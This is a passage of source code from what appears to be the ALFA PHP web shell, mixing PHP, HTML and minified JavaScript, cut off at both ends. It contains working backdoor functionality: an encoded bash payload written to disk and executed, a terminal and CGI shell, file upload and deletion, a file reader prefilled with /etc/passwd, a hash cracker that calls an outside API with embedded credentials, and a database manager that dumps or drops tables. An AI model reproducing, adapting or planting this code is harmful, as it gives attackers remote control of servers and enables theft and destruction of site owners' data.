\"zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp\/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e\/1aeTElCQQk8UJgS\/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A\/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS\/62olOM5UXqQZZazf7AxvKu+JmB7d\/bd\/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq\/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s\/Nxvix23nahuki\/a9exANkvNTbrXq\/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+\/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB\/7sOnXbgs9KT2w6CzxW\/0fX6baH35ceGu1SnxBw==\";\n$realdir = addslashes(dirname($_SERVER&#91;\"SCRIPT_FILENAME\"]));\n$tmp_path = alfaWriteTocgiapi(\"getheader.alfa\",$bash);\n$data = alfaEx(\"cd '{$tmp_path}\/alfacgiapi';sh getheader.alfa\",false,true,true);\nif(@is_array(@json_decode($data,true))){\n__alfa_set_cookie(\"updateheader_data\", __ZW5jb2Rlcg($data));\necho $data;\n}\n}else{\necho __ZGVjb2Rlcg($_COOKIE&#91;\"updateheader_data\"]);\n}\n}\nfunction is_ipv4($ip){\nreturn filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';\n}\nfunction __alert($s){\necho '&lt;center>'.__pre().$s.'&lt;\/center>';\n}\nfunction create_table($data){\necho '&lt;table border=\"1\">';\nforeach ($data as $key => $val){\n$array = array();\nforeach($val as $k => $v){\n$array&#91;$k] = $v;\n}\necho \"&lt;tr>&lt;td>&lt;div class='tbltxt'>\".$array&#91;'tdName'].\"&lt;\/div>&lt;\/td>&lt;td>&lt;input type='text' id='\".$array&#91;'id'].\"' name='\".$array&#91;'inputName'].\"' \".($array&#91;'placeholder']?'placeholder':'value').\"='\".$array&#91;'inputValue'].\"' size='\".$array&#91;'inputSize'].\"' \".($array&#91;'disabled']?'disabled':'').\">&lt;\/td>&lt;\/tr>\";\n}\necho '&lt;\/table>';\n}\nfunction alfacpcrack(){\nalfahead();\necho '&lt;div class=header>&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Hash Tools |&lt;\/div>&lt;\/p>&lt;h3>&lt;a href=javascript:void(0) onclick=\"g(\\'cpcrack\\',null,\\'dec\\')\">| DeCrypter | &lt;\/a>&lt;a href=javascript:void(0) onclick=\"g(\\'cpcrack\\',null,\\'analyzer\\')\">| Hash Analyzer | &lt;\/a>&lt;\/h3>&lt;\/center>';\nif($_POST&#91;'alfa1']=='dec'){\n$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');\necho '&lt;center>&lt;div class=\"txtfont_header\">| DeCrypter |&lt;\/div>&lt;br>&lt;br>\n&lt;form onsubmit=\"g(\\'cpcrack\\',null,\\'dec\\',this.md5.value,\\'>>\\',this.alg.value); return false;\">&lt;div class=\"txtfont\">Decrypt Method:&lt;\/div> &lt;select name=\"alg\" style=\"width:100px;\">';\nforeach($algorithms as $key=>$val){echo('&lt;option value=\"'.$key.'\">'.$val.'&lt;\/option>');}\necho'&lt;\/select>&lt;input type=\"text\" placeholder=\"Hash\" name=\"md5\" size=\"60\" id=\"text\" \/> &lt;input type=\"submit\" value=\" \" name=\"go\" \/>&lt;\/form>&lt;\/center>&lt;br>';\nif($_POST&#91;'alfa3'] == '>>'){\n$hash = $_POST&#91;'alfa2'];\nif(!empty($hash)){\n$hash_type = $_POST&#91;'alfa4'];\n$email = \"solevisible@gmail.com\";\n$code = \"7b9fa79f92c3cd96\";\n$target = \"https:\/\/md5decrypt.net\/Api\/api.php?hash=\".$hash.\"&amp;hash_type=\".$hash_type.\"&amp;email=\".$email.\"&amp;code=\".$code;\n$resp = @file_get_contents($target);\nif($resp==''){\n$get = new AlfaCURL();\n$resp = $get->Send($target);\n}\necho __pre().'&lt;center>';\nswitch($resp){\ncase('CODE ERREUR : 001'):echo \"&lt;b>&lt;font color='red'>You exceeded the 400 allowed request per day&lt;\/font>&lt;\/b>\";break;\ncase('CODE ERREUR : 003'):echo \"&lt;b>&lt;font color='red'>Your request includes more than 400 hashes.&lt;\/font>&lt;\/b>\";break;\ncase('CODE ERREUR : 004'):echo \"&lt;b>&lt;font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid&lt;\/font>&lt;\/b>\";break;\ncase('CODE ERREUR : 005'):echo \"&lt;b>&lt;font color='red'>The hash you provide doesn't seem to match with the type of hash you set.&lt;\/font>&lt;\/b>\";break;\n}\nif(substr($resp,0,4)!='CODE'&amp;&amp;$resp!=''){\necho \"&lt;b>Result: &lt;font color='green'>\".$resp.\"&lt;\/font>&lt;\/b>\";\n}elseif(substr($resp,0,4)!='CODE'){\necho \"&lt;font color='red'>NoT Found&lt;\/font>&lt;br \/>\";\n}\necho('&lt;\/center>');\n}\n}\n}\nif($_POST&#91;'alfa1']=='analyzer'){\necho '&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| Hash Analyzer |&lt;\/div>&lt;\/p>\n&lt;form onsubmit=\"g(\\'cpcrack\\',null,\\'analyzer\\',this.hash.value,\\'>>\\');return false;\">\n&lt;div class=\"txtfont\">Hash: &lt;\/div> &lt;input type=\"text\" placeholder=\"Hash\" name=\"hash\" size=\"60\" id=\"text\" \/> &lt;input type=\"submit\" value=\" \" name=\"go\" \/>&lt;\/form>&lt;\/center>&lt;br>';\nif($_POST&#91;'alfa3'] == '>>'){\n$hash = $_POST&#91;'alfa2'];\nif(!empty($hash)){\n$curl = new AlfaCURL();\n$resp = $curl->Send(\"https:\/\/md5decrypt.net\/en\/HashFinder\/\",\"post\",\"hash={$hash}&amp;crypt=Search\");\necho(__pre().'&lt;center>');\nif(preg_match('#&lt;fieldset class=\"trouve\">(.*?)&lt;\/fieldset>#',$resp,$s)){\necho('&lt;font color=\"green\">'.$s&#91;1].'&lt;\/font>');\n}else{\necho('&lt;font color=\"red\">Not Found...!&lt;\/font>');\n}\necho('&lt;\/center>&lt;br>');\n}\n}\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction alfafooter(){\nif(!isset($_POST&#91;'ajax'])){\necho \"&lt;table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >\n&lt;tr>\n&lt;td width='17%'>&lt;form onsubmit=\\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\\\">&lt;span class='footer_text'>Make File : &lt;\/span>&lt;br>&lt;input class='dir' type='text' name='f' value=''> &lt;input type='submit' value='>>'>&lt;\/form>&lt;\/td>\n&lt;td width='21%'>&lt;form onsubmit=\\\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\\\">&lt;span class='footer_text'>Make Dir : &lt;\/span>&lt;br>&lt;input class='dir' type='text' name='d' value=' '> &lt;input type='submit' value='>>'>&lt;\/form>&lt;\/td>\n&lt;td width='22%'>&lt;form onsubmit=\\\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\\\">&lt;span class='footer_text'>Delete : &lt;\/span>&lt;br>&lt;input class='dir' type='text' name='del' value=' '> &lt;input type='submit' value='>>'>&lt;\/form>&lt;\/td>\n&lt;td width='19%'>&lt;form onsubmit=\\\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\\\">&lt;span class='footer_text'>Chmod : &lt;\/span>&lt;br>&lt;input class='dir' type=text name=f value=' '> &lt;input type='submit' value='>>'>&lt;\/form>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td colspan='2'>&lt;form onsubmit='g(\\\"FilesMan\\\",this.c.value,\\\"\\\");return false;'>&lt;span class='footer_text'>Change Dir : &lt;\/span>&lt;br>&lt;input class='foottable' id='footer_cwd' type='text' name='c' value='\".htmlspecialchars($GLOBALS&#91;'cwd']).\"'> &lt;input type='submit' value='>>'>&lt;\/form>&lt;\/td>\n&lt;td colspan='2'>&lt;form onsubmit=\\\"editor(this.file.value,'view','','','','file');return false;\\\">&lt;span>&lt;span class='footer_text'>Read File : &lt;\/span>&lt;\/span>&lt;br>&lt;input class='foottable' type='text' name='file' value='\/etc\/passwd'> &lt;input type='submit' value='>>'>&lt;\/form>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td colspan='4'>&lt;form style='margin-top: 10px;' onsubmit=\\\"return false;\\\" autocomplete='off'>&lt;span>&lt;button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'>Terminal&lt;\/button>&lt;br>&lt;\/form>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td colspan='4'>&lt;form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart\/form-data'>\n&lt;input type='hidden' name='a' value='FilesMAn'>\n&lt;input type='hidden' name='c' value='\" . $GLOBALS&#91;'cwd'] .\"'>\n&lt;input type='hidden' name='ajax' value='true'>\n&lt;input type='hidden' name='alfa1' value='uploadFile'>\n&lt;input type='hidden' name='charset' value='\" . (isset($_POST&#91;'charset'])?$_POST&#91;'charset']:'') . \"'>\n&lt;span class='footer_text'>Upload file: &lt;\/span>&lt;span>&lt;button id='addup' onclick='addnewup();return false;'>&lt;b>+&lt;\/b>&lt;\/button>&lt;\/span>&lt;p id='pfooterup'>&lt;label class='inputfile' for='footerup'>&lt;span id='__fnameup'>&lt;\/span> &lt;strong>&amp;nbsp;&amp;nbsp;Choose a file&lt;\/strong>&lt;\/label>&lt;input id='footerup' class='toolsInp' type='file' name='f&#91;]' onChange='handleup(this,0);' multiple>&lt;\/p>&lt;input type='submit' name='submit' value='>>'>&lt;\/form>&lt;div id='alfa-copyright'>&lt;span class='copyright'>&#91; ??? &amp;copy; 2012-\".date('Y').\" ]&lt;\/span>&lt;\/div>&lt;\/td>\n&lt;\/tr>\n&lt;\/table>\n&lt;\/div>\n\n&lt;div id='options_window' style='background:rgba(0, 0, 0, 0.69);'>&lt;div class='editor-wrapper'>&lt;div class='editor-header'>&lt;div class='opt-title'>&lt;\/div>&lt;div class='editor-controller'>&lt;div class='editor-minimize' onClick='editorMinimize(\\\"options_window\\\");'>&lt;\/div>&lt;div onClick='editorClose(\\\"options_window\\\");' class='close-button'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;div style='height:100%;' class='content_options_holder'>&lt;div class='options_tab'>&lt;\/div>&lt;div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;\/div>\n\n&lt;div id='database_window' style='background:rgba(0, 0, 0, 0.69);'>&lt;div class='editor-wrapper'>&lt;div class='editor-header'>&lt;div class='opt-title'>Sql Manager&lt;\/div>&lt;div class='editor-controller'>&lt;div class='editor-minimize' onClick='editorMinimize(\\\"database_window\\\");'>&lt;\/div>&lt;div onClick='editorClose(\\\"database_window\\\");' class='close-button'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'>&lt;div class='sql-tabs'>&lt;\/div>&lt;div class='sql-contents' style='max-height: 85vh;'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;\/div>\n\n&lt;div id='cgiloader'>&lt;div class='editor-wrapper'>&lt;div class='editor-header'>&lt;div class='opt-title'>&lt;\/div>&lt;div class='editor-controller'>&lt;div class='editor-minimize' onClick='editorMinimize(\\\"cgiloader\\\");'>&lt;\/div>&lt;div onClick='editorClose(\\\"cgiloader\\\");' class='close-button'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'>&lt;div class='terminal-tabs'>&lt;\/div>&lt;div style='height:90%;' class='terminal-contents'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;\/div>\n&lt;div id='editor' style='display:none;'>&lt;div class='editor-wrapper'>&lt;div class='editor-header'>&lt;div class='editor-path'>&lt;\/div>&lt;div class='editor-controller'>&lt;div class='editor-minimize' onClick='editorMinimize(\\\"editor\\\");'>&lt;\/div>&lt;div onClick='editorClose(\\\"editor\\\");' class='close-button'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'>&lt;&lt;&lt;\/div>&lt;div class='editor-explorer'>&lt;div class='hheader'>&lt;div class='history-clear' onclick='clearEditorHistory();'>Clear all&lt;\/div>&lt;div class='hheader-text'>History&lt;\/div>&lt;div class='editor-search'>&lt;input type='text' style='text-align:center;' id='search-input' placeholder='search'>&lt;\/div>&lt;\/div>&lt;div class='history-list'>&lt;\/div>&lt;\/div>&lt;div class='editor-modal'>&lt;div class='editor-body'>&lt;div class='editor-content'>&lt;div class='editor-tabs'>&lt;\/div>&lt;div class='editor-content-holder'>&lt;\/div>&lt;\/div>&lt;\/div>&lt;\/div>&lt;\/div>&lt;\/div>\n&lt;div id='update-content'>&lt;\/div>\n&lt;div id='database_window-minimized' onclick='showEditor(\\\"database_window\\\");'>&lt;div class='minimized-wrapper'>&lt;span class='options_min_badge'>0&lt;\/span>&lt;div class='minimized-text' style='top: 15px;'>Database&lt;\/div>&lt;\/div>&lt;\/div>\n&lt;div id='options_window-minimized' onclick='showEditor(\\\"options_window\\\");'>&lt;div class='minimized-wrapper'>&lt;span class='options_min_badge'>0&lt;\/span>&lt;div style='top: 4px;' class='minimized-text'>Options&lt;\/div>&lt;\/div>&lt;\/div>\n&lt;div id='editor-minimized' onclick='showEditor(\\\"editor\\\");'>&lt;div class='minimized-wrapper'>&lt;span class='options_min_badge'>0&lt;\/span>&lt;div style='top: 2px;' class='minimized-text'>Editor&lt;\/div>&lt;\/div>&lt;\/div>\n&lt;div id='cgiloader-minimized' onclick='showEditor(\\\"cgiloader\\\");'>&lt;div class='minimized-wrapper'>&lt;span class='options_min_badge'>0&lt;\/span>&lt;div style='top: 12px;' class='minimized-text'>Cgi Shell&lt;\/div>&lt;\/div>&lt;\/div>\n&lt;div id='rightclick_menu'>\n  &lt;a target='_blank' href='' name='newtab'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/newtab.svg\\\"> Open in new tab&lt;\/a>\n  &lt;a target='_blank' href='' name='link'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/link.svg\\\"> Open file directly&lt;\/a>\n  &lt;a href='javascript:void(0);' name='download'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/download2.svg\\\"> Download&lt;\/a>\n  &lt;a href='' name='view'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/view.svg\\\"> View&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/view.svg\\\"> View Archive&lt;\/a>\n  &lt;a href='' name='edit'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/edit.svg\\\"> Edit&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"move\\\");' ftype='' path='' fname='' href='' href='' name='move'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/move.svg\\\"> Move&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"copy\\\");' ftype='' path='' fname='' href='' name='copy'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/copy.svg\\\"> Copy&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"rename\\\");' ftype='' path='' fname='' name='rename'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/rename.svg\\\">  Rename&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"modify\\\");' ftype='' path='' fname='' name='modify'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/time.svg\\\">  Modify&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaPopupAction(this, \\\"permission\\\");' name='permission'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/key.svg\\\"> Change Permissions&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/resize.svg\\\"> Compress&lt;\/a>\n  &lt;a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/increase.svg\\\"> Extract&lt;\/a>\n  &lt;a href='javascript:void(0);' name='delete'>&lt;img src=\\\"http:\/\/solevisible.com\/icons\/menu\/delete.svg\\\"> Delete&lt;\/a>\n&lt;\/div>\n&lt;div id=\\\"filesman-tab-full-path\\\">&lt;\/div>\n&lt;div id='alert-area' class='alert-area'>&lt;\/div>\n&lt;div class='cl-popup-fixed' style='display:none;'>\n&lt;div id='shortcutMenu-holder'>\n&lt;div class='popup-head'>&lt;\/div>\n&lt;form autocomplete='off' onSubmit='return false;'>\n&lt;label class='old-path-lbl'>&lt;\/label>\n&lt;div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'>&lt;\/div>\n&lt;label style='margin-top:10px;' class='new-filename-lbl'>New file name&lt;\/label>\n&lt;input type='text' name='fname'>\n&lt;div class='perm-table-holder'>\n&lt;table>\n   &lt;tbody>\n  &lt;tr>\n &lt;td>&lt;b>Mode&lt;\/b>&lt;\/td>\n &lt;td>User&lt;\/td>\n &lt;td>Group&lt;\/td>\n &lt;td>World&lt;\/td>\n  &lt;\/tr>\n  &lt;tr>\n &lt;td>Read&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='ur' value='4' onclick='calcperm();'>&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='gr' value='4' onclick='calcperm();'>&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='wr' value='4' onclick='calcperm();'>&lt;\/td>\n  &lt;\/tr>\n  &lt;tr>\n &lt;td>Write&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='uw' value='2' onclick='calcperm();'>&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='gw' value='2' onclick='calcperm();'>&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='ww' value='2' onclick='calcperm();'>&lt;\/td>\n  &lt;\/tr>\n  &lt;tr>\n &lt;td>Execute&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='ux' value='1' onclick='calcperm();'>&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='gx' value='1' onclick='calcperm();'>&lt;\/td>\n &lt;td>&lt;input type='checkbox' name='wx' value='1' onclick='calcperm();'>&lt;\/td>\n  &lt;\/tr>\n  &lt;tr>\n &lt;td>Permission&lt;\/td>\n &lt;td>&lt;input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(\/&#91;^0-7]\/g,0);autoCheckPerms(this.value, \\\"u\\\", &#91;\\\"u\\\"]);'>&lt;\/td>\n &lt;td>&lt;input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(\/&#91;^0-7]\/g,0);autoCheckPerms(this.value, \\\"g\\\", &#91;\\\"g\\\"]);'>&lt;\/td>\n &lt;td>&lt;input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(\/&#91;^0-7]\/g,0);autoCheckPerms(this.value, \\\"w\\\", &#91;\\\"w\\\"]);'>&lt;\/td>\n  &lt;\/tr>\n   &lt;\/tbody>\n&lt;\/table>\n&lt;\/div>\n\n&lt;\/form>\n&lt;div class='popup-foot'>\n&lt;button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'>&lt;\/button>\n&lt;button style='background: #9e2c2c;' onclick='d.querySelector(\\\".cl-popup-fixed\\\").style.display=\\\"none\\\";'>Cancell&lt;\/button>\n&lt;\/div>\n&lt;\/div>\n&lt;\/div>\";?>\n&lt;script>\nfunction alfaMysqlApi(e,t){var a={host:mysql_cache&#91;e.db_id].host,user:mysql_cache&#91;e.db_id].user,pass:mysql_cache&#91;e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty(\"db_info\"))for(var i in e.db_info)a&#91;i]=e.db_info&#91;i];var l={a:alfab64(\"Sql_manager_api\"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty(\"post\"))for(var i in e.post.hasOwnProperty(\"alfa2\")&amp;&amp;\"load_data\"!=e.post.alfa2&amp;&amp;\"page\"!=e.post.alfa2&amp;&amp;\"edit\"!=e.post.alfa2&amp;&amp;\"delete\"!=e.post.alfa2&amp;&amp;(d.querySelector(\"#\"+e.db_id+\" .mysql-query-result-header .mysql-query-pager\").innerHTML=\"\",d.querySelector(\"#\"+e.db_id+\" .mysql-query-result-header .mysql-query-reporter\").innerHTML=\"\"),e.post)l&#91;i]=alfab64(e.post&#91;i]);var r=\"\";for(var o in l)r+=o+\"=\"+l&#91;o]+\"&amp;\";alfaloader(e.db_id,\"block\"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,\"none\"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a=\"\",i=\"\",l=(a=\"\",\"\");if(null!=e)a=e.getAttribute(\"target\"),i=e.getAttribute(\"db_id\"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,\"i\"),d.querySelectorAll(\"#\"+i+\" \"+a+\" ul > li\").forEach(function(e){var t=e.querySelector(\".mysql_tables\");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display=\"none\":e.style.display=\"block\"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a+\" .mysql-tables input&#91;name=filter_all]\").value,l=d.querySelector(\"#\"+a+\" input&#91;name=sql_count]\").checked,r=&#91;],o=&#91;];if(d.querySelectorAll(\"#\"+a+\" .mysql-tables .list_container\").forEach(function(e){var t=e.getAttribute(\"mode\"),a=e.getAttribute(\"db_name\");\"no\"==t&amp;&amp;r.push(a),o.push(a)}),r.length>0){if(0==i.length&amp;&amp;void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r&#91;0],ajax_id:\"mysql_get_all_tables\",db_info:{databases:r},post:{alfa2:\"load_all_tables\",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector(\"#\"+a+\" .cls-\"+n);alfaMysqlMakeTblList(r&#91;o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:\".mysql-tables .list_container\",value:i}):(e.setAttribute(\"mode\",\"opened\"),d.querySelector(\"#\"+a+\" .mysql-tables .parent-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/b_minus.png\")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:\".mysql-tables .list_container\",value:i}),o)alfaMysqlTableMode(a,o&#91;n],\"closed\");else{var s=\"\",c=e.getAttribute(\"mode\");for(var n in\"opened\"==c?(e.setAttribute(\"mode\",\"closed\"),s=\"b_plus.png\"):(e.setAttribute(\"mode\",\"opened\"),s=\"b_minus.png\"),o)alfaMysqlTableMode(a,o&#91;n],c);d.querySelector(\"#\"+a+\" .mysql-tables .parent-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/\"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector(\"#\"+e+\" .cls-\"+t),l=\"\";void 0===a?(l=-1!=i.classList.value.indexOf(\"hide-db-tables\")?\"b_minus.png\":\"b_plus.png\",i.classList.toggle(\"hide-db-tables\")):\"opened\"==a?(l=\"b_plus.png\",i.classList.add(\"hide-db-tables\")):(l=\"b_minus.png\",i.classList.remove(\"hide-db-tables\")),d.querySelector(\"#\"+e+\" .cls-\"+t+\"-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/\"+l}function alfaMysqlExpander(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=e.getAttribute(\"sql_count\"),l=d.querySelector(\"#\"+a+\" .cls-\"+t);\"loaded\"==l.getAttribute(\"mode\")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:\"mysql_get_tables\",post:{alfa2:\"load_tables\",alfa3:i}},function(e){0!=e.length&amp;&amp;alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute(\"target\"),a=e.getAttribute(\"db_id\"),i=e.getAttribute(\"mode\");\"checked\"==i?(i=!1,e.setAttribute(\"mode\",\"not\")):(i=!0,e.setAttribute(\"mode\",\"checked\")),d.querySelectorAll(\"#\"+a+\" \"+t+\" input&#91;name=tbl\\\\&#91;\\\\]]\").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute(\"target\"),a=e.getAttribute(\"db_id\"),i=\"none\";\"dump\"==e.value&amp;&amp;(i=\"block\"),d.querySelector(\"#\"+a+\" \"+t+\" .dump-file-holder\").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute(\"target\"),a=e.getAttribute(\"db_target\"),i=e.getAttribute(\"db_id\"),l=&#91;],r=d.querySelector(\"#\"+i+\" input&#91;name=sql_count]\").checked,o=d.querySelector(\"#\"+i+\" \"+t),n=o.querySelector(\"select&#91;name=tables_evil]\").value,s=o.querySelector(\".dump-file-holder input\").value;d.querySelectorAll(\"#\"+i+\" \"+t+\" input&#91;name=tbl\\\\&#91;\\\\]]\").forEach(function(e){e.checked&amp;&amp;l.push(e.value)}),l.length>0&amp;&amp;alfaMysqlApi({db_id:i,db_target:a,ajax_id:\"mysql_query_evil\",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:\"dump_drop\"}},function(e){0!=e.length&amp;&amp;(e=JSON.parse(e),\"drop\"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(\".dump-file-holder\").insertAdjacentHTML(\"beforeend\",\"&lt;div>&lt;a href='javascript:void(0);' onclick='g(\\\"FilesTools\\\",null,\\\"\"+s+'\",\"download\");\\'>&lt;span>Download: '+s+\"&lt;\/span>&lt;\/a>&lt;\/div>\"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute(\"mode\",\"loaded\");var r='&lt;ul>&lt;li>&lt;div class=\"block\">&lt;i>&lt;\/i>&lt;b>&lt;\/b>&lt;\/div>&lt;div>&lt;input style=\"padding: 0;margin-left: 11px;text-align:center;\" type=\"text\" class=\"db-opt-id\" db_id=\"'+a+'\" placeholder=\"Filter Table\" target=\".cls-'+i+'\" onkeyup=\"alfaMysqlFilterTable(this);\" name=\"filter\">&lt;\/div>&lt;\/li>';for(var o in e)null!=e&#91;o]&amp;&amp;(r+=\"&lt;li>&lt;div class='block'>&lt;i>&lt;\/i>&lt;b>&lt;\/b>&lt;\/div>&lt;div class='tables-row'>&lt;input type='checkbox' name='tbl&#91;]' value='\"+e&#91;o].name+\"'>&amp;nbsp;&lt;a class='db-opt-id' db_target='\"+i+\"' db_id='\"+a+\"' href='javascript:void(0);' onclick=\\\"alfaLoadTableData(this, '\"+e&#91;o].name+\"')\\\">&lt;span class='mysql_tables' style='font-weight:unset;'>\"+e&#91;o].name+\"&lt;\/span>&lt;\/a>\"+(l?\" &lt;small>&lt;span style='font-weight:unset;' class='mysql_table_count'>(\"+e&#91;o].count+\")&lt;\/span>&lt;\/small>\":\"&amp;nbsp;\")+\"&lt;\/div>&lt;\/li>\");r+='&lt;\/ul>&lt;div style=\"margin-left: 26px;margin-bottom: 10px;margin-top: 10px;\">&lt;input onchange=\"alfaMysqlTablesEvil(this);\" db_id=\"'+a+'\" class=\"db-opt-id\" target=\".cls-'+i+'\" type=\"checkbox\" class=\"db-opt-id\">&lt;select onchange=\"alfaMysqlTablesDumpDrop(this);\" class=\"db-opt-id\" db_id=\"'+a+'\" target=\".cls-'+i+'\" class=\"db-opt-id\" name=\"tables_evil\" style=\"padding: 0;width: 100px;\">&lt;option selected>drop&lt;\/option>&lt;option>dump&lt;\/option>&lt;\/select> &lt;button onclick=\"alfaMysqlTablesDumpDropBtn(this);return false;\" db_id=\"'+a+'\" class=\"db-opt-id\" db_target=\"'+i+'\" target=\".cls-'+i+'\" class=\"db-opt-id\">Do it&lt;\/button>&lt;div class=\"dump-file-holder\" style=\"display:none;margin-left:20px;margin-top: 5px;\">&lt;input style=\"padding: 0;text-align:center;\" type=\"text\" placeholder=\"dump.sql\" name=\"dump_file\">&lt;\/div>&lt;\/div>',t.innerHTML=r,d.querySelector(\"#\"+a+\" .cls-\"+i+\"-expander img\").src=\"http:\/\/solevisible.com\/icons\/menu\/b_minus.png\"}function alfaMysqlQuery(e){var t=e.getAttribute(\"db_target\"),a=e.getAttribute(\"db_id\"),i=d.querySelector(\"#\"+a+\" 